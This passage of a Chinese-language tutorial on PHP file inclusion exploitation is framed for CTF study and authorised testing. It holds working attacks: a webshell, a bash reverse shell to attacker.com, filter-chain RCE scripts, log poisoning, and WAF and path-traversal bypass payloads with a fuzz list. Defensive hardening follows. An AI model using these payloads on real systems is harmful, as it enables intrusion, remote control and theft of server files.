# 攻击流程

# 1. 在攻击者服务器开启 HTTP 服务
python3 -m http.server 80
# 或
php -S 0.0.0.0:80

# 2. 准备 shell.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# 3. 触发 RFI 并执行命令
curl "http://target.com/index.php?page=http://attacker.com/shell.php&cmd=id"

# 4. 升级为反弹 Shell
curl "http://target.com/index.php?page=http://attacker.com/shell.php&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261'"

# 监听反弹 Shell
nc -lvnp 4444

8、Filter 链 RCE(无文件写入)

PHP Filter Chain 是 2022 年公开的新型利用技术,通过串联多个 php://filter 转换器,将 /dev/null 等空文件"变换"出任意 PHP 代码内容,实现无文件写入的纯 LFI RCE

8.1 原理

php://filter 支持 iconv 字符集转换(convert.iconv.X.Y)
不同字符集之间的转换可能导致字节序列发生变化
通过精心构造的转换链,可以从空内容中生成任意字节序列
最终生成的字节序列 = 目标 PHP 代码
include 该 filter 链 → PHP 执行生成的代码

8.2 使用工具自动生成

# php_filter_chain_generator(推荐工具)
# https://github.com/synacktiv/php_filter_chain_generator

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

# 生成执行 phpinfo() 的 filter 链
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'

# 生成执行任意命令的 filter 链
python3 php_filter_chain_generator.py --chain '<?= system($_GET["cmd"]); ?>'

# 生成写入 WebShell 的 filter 链
python3 php_filter_chain_generator.py --chain '<?php file_put_contents("/var/www/html/shell.php","<?php system($_GET[cmd]); ?>"); ?>'

8.3 使用示例

# 生成 filter 链(输出很长的 URL)
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?= system($_GET[1]); ?>' | grep "^php://")

# 使用 filter 链触发 RCE
curl "http://target.com/index.php?page=${CHAIN}&1=id"
# Python 自动化利用脚本
import requests
import subprocess

TARGET = "http://target.com/index.php"
PARAM = "page"  # 文件包含参数名
CMD_PARAM = "1"  # 命令参数名

def gen_chain(php_code):
    result = subprocess.run(
        ["python3", "php_filter_chain_generator.py", "--chain", php_code],
        capture_output=True, text=True
    )
    for line in result.stdout.splitlines():
        if line.startswith("php://"):
            return line
    return None

def execute_command(cmd):
    php_code = f'<?= system($_GET["{CMD_PARAM}"]); ?>'
    chain = gen_chain(php_code)
    if not chain:
        print("[-] Failed to generate chain")
        return

    r = requests.get(TARGET, params={PARAM: chain, CMD_PARAM: cmd})
    # 提取输出(filter 链生成的内容前后可能有乱码)
    output = r.text
    # 简单清理
    return output

print(execute_command("id"))
print(execute_command("cat /etc/passwd"))

8.4 适用条件

✅ 存在 LFI 漏洞(include/require 等)
✅ PHP 版本 >= 5.3.0(支持 iconv 过滤器)
✅ 无需 allow_url_include = On
✅ 无需文件上传
✅ 无需日志污染
❌ 不适用于 file_get_contents()(不执行代码)
❌ 不适用于 readfile()(不执行代码)

9、WAF 绕过技术

9.1 路径穿越过滤绕过

过滤 ../ 时的绕过

# 嵌套穿越(WAF 删除一次 ../ 后剩余 ../)
....//          →  过滤 ../ 后得到 ../
....\/          →  过滤 ..\ 后得到 ..\
..././          →  过滤 ./ 后得到 ../

# URL 编码
..%2f           →  ../(URL 解码后得到 ../)
..%252f         →  ..%2f → ../(双重 URL 编码)
%2e%2e%2f       →  ../(全编码)
%2e%2e/         →  ../(仅编码 ..)
..%c0%af        →  ../(非标准 UTF-8)
..%c1%9c        →  ..\(Windows 非标准)

# 大小写(Windows 不区分)
..\             →  Windows 路径分隔
../             →  Linux 路径穿越

# 多重斜杠
..././          →  过滤 ./ 后得到 ../

过滤路径关键词时的绕过

# 过滤了 /etc/passwd
/etc/./passwd               # 当前目录
/etc/passwd/.               # 末尾 .
/etc//passwd                # 双斜杠
/etc/PASS\   WD            # 某些系统大小写不敏感 + 特殊字符
/etc/p*sswd                 # 通配符(某些包含场景支持)
/./etc/./passwd             # 多余的 ./
//etc//passwd               # 多个斜杠

9.2 伪协议过滤绕过

过滤 php://

# 大小写混淆
PHP://filter/...
Php://Filter/...
pHp://FiLtEr/...

# URL 编码
%70%68%70%3a%2f%2f         →  php://
php%3a%2f%2f               →  php://
php:%2f%2f                 →  php://

# 双重编码
php%253a%252f%252f          →  php%3a%2f%2f → php://

过滤 filter

# 大小写
php://Filter/
php://FILTER/

# URL 编码
php://fi%6c%74%65%72/      →  php://filter/
php://%66%69%6c%74%65%72/  →  php://filter/

# 双重编码
php://%2566%2569%256c%2574%2565%2572/  →  php://filter/

过滤特定资源路径

# 目标代码:if (strstr($page, 'php://filter')) die();
# 使用其他伪协议替代
?page=data://text/plain;base64,...
?page=php://input   (POST 提交代码)
?page=phar:///tmp/shell.phar/test
?page=zip:///tmp/shell.zip%23shell.php

# 绕过对资源路径中关键字的过滤
php://filter/convert.base64-encode/resource=index.php
→ php://filter/convert.base64-encode/resource=./index.php  (加 ./)
→ php://filter/convert.base64-encode/resource=php://filter/resource=index.php (嵌套)

9.3 文件扩展名过滤绕过

// 目标代码
$ext = pathinfo($_GET['page'], PATHINFO_EXTENSION);
if ($ext !== 'php') die('Only PHP files allowed');
include($_GET['page']);
# 方法1:URL 片段 (#) 截断(某些解析器的差异)
?page=../../../../etc/passwd#.php      (# 后为片段,不算扩展名)
?page=../../../../etc/passwd%23.php    (URL 编码 #)

# 方法2:路径截断
?page=../../../../etc/passwd/.php      (/.php 让 pathinfo 识别扩展名为 php)
?page=../../../../etc/passwd%00.php    (空字节截断,PHP < 5.3.4)

# 方法3:文件名中含有多个扩展名
?page=shell.php.jpg    (当代码用 strpos 检测)

# 方法4:大小写绕过(Windows)
?page=../../../../Windows/System32/drivers/etc/hosts.PHP

9.4 绕过 include 路径限制

// 目标代码
if (strpos($page, '/') !== false || strpos($page, '\\') !== false) {
    die('No path traversal');
}
include("pages/" . $page . ".php");
# 此时只能包含 pages/ 目录下的文件
# 方法1:目录遍历在允许的文件名中
?page=.         → include("pages/.php") 可能报错泄露路径
?page=..        → 被阻止(含 /)

# 方法2:若 pages/ 目录本身有可利用的文件
?page=index     → pages/index.php(白盒审计寻找 pages/ 下的敏感文件)

# 方法3:寻找其他注入点(请求头、Cookie 等)
Cookie: page=../../../../etc/passwd%00

9.5 WAF 特征字符绕过

# 过滤了 ..(两个点)
# 使用绝对路径(无需 ..)
?page=/etc/passwd
?page=file:///etc/passwd

# 过滤了 /etc
# 使用通配符(某些场景)
?page=/e.c/passwd
?page=/???/passwd

# 过滤了 passwd
?page=/etc/pass*
?page=/etc/pa??wd

# 组合绕过
?page=..%252f..%252f..%252fetc%252fpasswd    双重编码
?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd  非标准编码

9.6 利用协议差异绕过

# 某些 WAF 只检测以 / 开头的路径或以 http:// 开头的 URL
# 使用 file:// 绕过
?page=file:///etc/passwd        # 等价于 /etc/passwd
?page=file://localhost/etc/passwd

# 某些 WAF 只检测 php:// 开头
# 使用 data:// 替代
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

# 使用 PHP 的大小写不敏感特性(PHP 伪协议大小写不敏感)
?page=PHP://filter/convert.base64-encode/resource=index.php
?page=Data://text/plain;base64,...

10、CTF 实战思路

10.1 文件包含漏洞快速定位

发现文件包含参数(page/file/template/lang/view)
       ↓
1. 测试基础路径穿越
   ?page=../../../../etc/passwd  → 成功则为 LFI
   ?page=http://attacker.com/    → 成功则为 RFI

2. 测试 PHP 伪协议
   ?page=php://filter/convert.base64-encode/resource=index.php
   → 成功则可读取 PHP 源码

3. 测试 data://(RCE)
   ?page=data://text/plain,<?php phpinfo(); ?>
   → 成功则可直接 RCE

4. 枚举敏感文件
   /etc/passwd / /proc/self/environ / /var/log/apache2/access.log

10.2 LFI 转 RCE 选择策略

存在 LFI →
  ├── data:// 可用?                → 直接 RCE ✅
  ├── php://input 可用?            → 直接 RCE ✅
  ├── allow_url_include = On?     → RFI 直接 RCE ✅
  ├── 可上传文件?                  → 包含上传的图片马 ✅
  ├── 日志文件可读?
  │   ├── Apache: /var/log/apache2/access.log → 日志污染 ✅
  │   ├── Nginx:  /var/log/nginx/access.log   → 日志污染 ✅
  │   └── SSH:    /var/log/auth.log            → SSH 用户名污染 ✅
  ├── Session 文件可控?            → Session 污染 ✅
  ├── Docker 环境?                 → pearcmd.php 利用 ✅
  ├── phpinfo 可访问?              → 临时文件竞争 ✅
  ├── /proc/self/fd/ 可访问?       → fd 枚举 ✅
  └── 以上都不可用?                → PHP Filter Chain RCE ✅
                                    (无需写入,纯 LFI 即可)

10.3 常见 CTF 题型

题型一:读取 flag 文件

# 直接路径穿越读取
?page=../../../../flag
?page=../../../../flag.txt
?page=../../../../flag.php

# 用 Base64 过滤器读取(防止 PHP 代码被执行)
?page=php://filter/convert.base64-encode/resource=../../flag.php

题型二:读取源码审计进一步利用

# 读取所有 PHP 文件
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=../include/db.php
?page=php://filter/convert.base64-encode/resource=../admin/index.php

# 批量读取脚本
python3 - <<'EOF'
import requests, base64

TARGET = "http://target.com/index.php?page=php://filter/convert.base64-encode/resource="
FILES = ['index.php', 'config.php', 'upload.php', '../flag.php', '/etc/passwd']

for f in FILES:
    r = requests.get(TARGET + f)
    if r.status_code == 200 and len(r.text) > 0:
        try:
            decoded = base64.b64decode(r.text.strip()).decode('utf-8', errors='ignore')
            print(f"=== {f} ===")
            print(decoded[:500])
        except:
            print(f"=== {f} === (raw): {r.text[:200]}")
EOF

题型三:LFI + 日志污染 RCE

# 完整攻击流程
# 1. 确认日志路径
curl "http://target.com/?page=/var/log/apache2/access.log"

# 2. 写入 PHP 代码到 User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/

# 3. 包含日志并执行命令
curl "http://target.com/?page=/var/log/apache2/access.log&cmd=id"
curl "http://target.com/?page=/var/log/apache2/access.log&cmd=cat+/flag"

题型四:filter 链 RCE

# 适合完全 LFI 但无法写文件/污染日志的场景
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

# 生成并利用
CHAIN=$(python3 php_filter_chain_generator.py --chain '<?= system($_GET[1]); ?>' | grep "^php://")
curl "http://target.com/?page=${CHAIN}&1=cat+/flag"

10.4 快速信息收集 Payload

# 一次性获取关键信息
curl "http://target.com/?page=/proc/self/environ"      # 环境变量
curl "http://target.com/?page=/proc/self/cmdline"      # 进程命令行
curl "http://target.com/?page=/etc/passwd"              # 用户列表
curl "http://target.com/?page=/proc/net/tcp"            # 开放端口(16进制)

# 获取 Web 根目录
curl "http://target.com/?page=php://filter/convert.base64-encode/resource=/proc/self/cwd"
# 解码后为当前工作目录(软链接)

11、防御措施

11.1 代码层面防御

// 1. 白名单验证(最有效的防御)
$allowed_pages = ['home', 'about', 'contact', 'news'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages)) {
    http_response_code(403);
    die('Page not found');
}
// 注意:不要用用户输入拼接路径,直接用白名单映射
$page_map = [
    'home'    => 'pages/home.php',
    'about'   => 'pages/about.php',
    'contact' => 'pages/contact.php',
];
include($page_map[$page]);

// 2. 路径规范化 + 前缀校验
function safe_include($page) {
    // 规范化路径(解析 ../ 等)
    $base_dir = realpath('/var/www/html/pages') . '/';
    $real_path = realpath($base_dir . $page . '.php');

    // 确保路径在允许的目录内
    if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
        die('Invalid path');
    }
    include($real_path);
}

// 3. 过滤危险字符
function sanitize_path($path) {
    // 移除 ../ 和 ..\
    $path = str_replace(['../', '..\\ ', '../', '..\\ '], '', $path);
    // 移除 null 字节
    $path = str_replace("\0", '', $path);
    // 只允许字母、数字、下划线、横线
    $path = preg_replace('/[^a-zA-Z0-9_\-]/', '', $path);
    return $path;
}

11.2 PHP 配置加固

; php.ini 关键配置

; 禁止远程文件包含(最重要)
allow_url_include = Off

; 限制文件操作范围
open_basedir = /var/www/html:/tmp

; 关闭错误信息回显(防止路径泄露)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

; 禁用危险函数
disable_functions = exec,system,passthru,shell_exec,popen,proc_open,pcntl_exec,eval,assert

; 关闭 phar(若不使用)
phar.readonly = On

; 限制 PHAR 序列化(PHP 7.4+)
phar.cache_list = /dev/null

11.3 Web 服务器配置

# Nginx 防止访问敏感文件
server {
    # 禁止访问 .php 以外的文件(若有文件上传目录)
    location /uploads {
        # 仅允许图片类型
        location ~* \.(php|php3|php4|php5|phtml|phar)$ {
            deny all;
        }
    }

    # 禁止访问隐藏文件
    location ~ /\. {
        deny all;
    }

    # 禁止访问日志目录
    location ~ ^/var/log {
        deny all;
    }
}
# Apache .htaccess 防护
# 禁止上传目录执行 PHP
<Directory /var/www/html/uploads>
    php_flag engine off
    <FilesMatch "\.(php|phtml|phar)$">
        Order allow,deny
        Deny from all
    </FilesMatch>
</Directory>

# 阻止路径穿越
RewriteEngine On
RewriteCond %{QUERY_STRING} \.\./ [NC]
RewriteRule .* - [F,L]

11.4 防御检查清单

✅ 永远不要将用户输入直接传入 include/require
✅ 使用文件路径白名单而非黑名单过滤
✅ 使用 realpath() 规范化路径后验证前缀
✅ 设置 open_basedir 限制 PHP 可访问的目录范围
✅ 关闭 allow_url_include(默认已关闭,确认未被开启)
✅ 上传文件存储在 Web 根目录外,或禁止上传目录执行 PHP
✅ 生产环境关闭错误回显(display_errors = Off)
✅ 定期检查应用是否存在 phpinfo() 页面并删除
✅ 限制 Web 进程用户权限(最小权限原则)
✅ 部署 WAF 过滤路径穿越特征
✅ 审计所有 include/require 调用,确认无用户可控参数
✅ 更新 PHP 至安全版本(>= 5.3.4,修复空字节截断)

附录

A. 常见路径穿越 Fuzz 字典

../
..\
....//
....\\
..././
...\.\
%2e%2e%2f
%2e%2e/
..%2f
..%5c
%2e%2e%5c
..%252f
..%c0%af
..%c1%9c
%252e%252e%252f
%%32%65%%32%65%%32%66
..%255c
.%2e/
%2e./

B. 常用 PHP 伪协议速查

伪协议 用途 需 allow_url_include
php://filter 读取并编码文件内容 ❌ 不需要
php://input 执行 POST 数据中的代码 ✅ 需要
data:// 执行内联数据中的代码 ✅ 需要
phar:// 触发 phar 反序列化 ❌ 不需要
zip:// 包含 ZIP 内文件 ❌ 不需要
expect:// 直接执行命令(需扩展) ❌ 不需要
file:// 读取本地文件 ❌ 不需要
http:// 包含远程文件 ✅ 需要
ftp:// 包含 FTP 文件 ✅ 需要

C. LFI 转 RCE 方法对比

方法 前提条件 难度 通用性
data:// allow_url_include=On ⭐ 低 🟡 中
php://input allow_url_include=On ⭐ 低 🟡 中
RFI allow_url_include=On ⭐ 低 🟡 中
日志污染 日志可读 + 内容可控 ⭐⭐ 中 🟢 高
Session 污染 Session 内容可控 ⭐⭐ 中 🟢 高
上传文件包含 存在上传功能 ⭐⭐ 中 🟢 高
pearcmd.php Docker PHP 镜像 ⭐⭐ 中 🟡 中
phpinfo 竞争 phpinfo 可访问 ⭐⭐⭐ 高 🟡 中
/proc/self/fd Linux + fd 可枚举 ⭐⭐⭐ 高 🟡 中
PHP Filter Chain 纯 LFI 即可 ⭐⭐⭐ 高 🟢 高
phar 反序列化 可上传 phar 文件 ⭐⭐⭐ 高 🟡 中

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。文件包含漏洞的利用未经授权属于违法行为,请在合法合规的环境中学习与实践。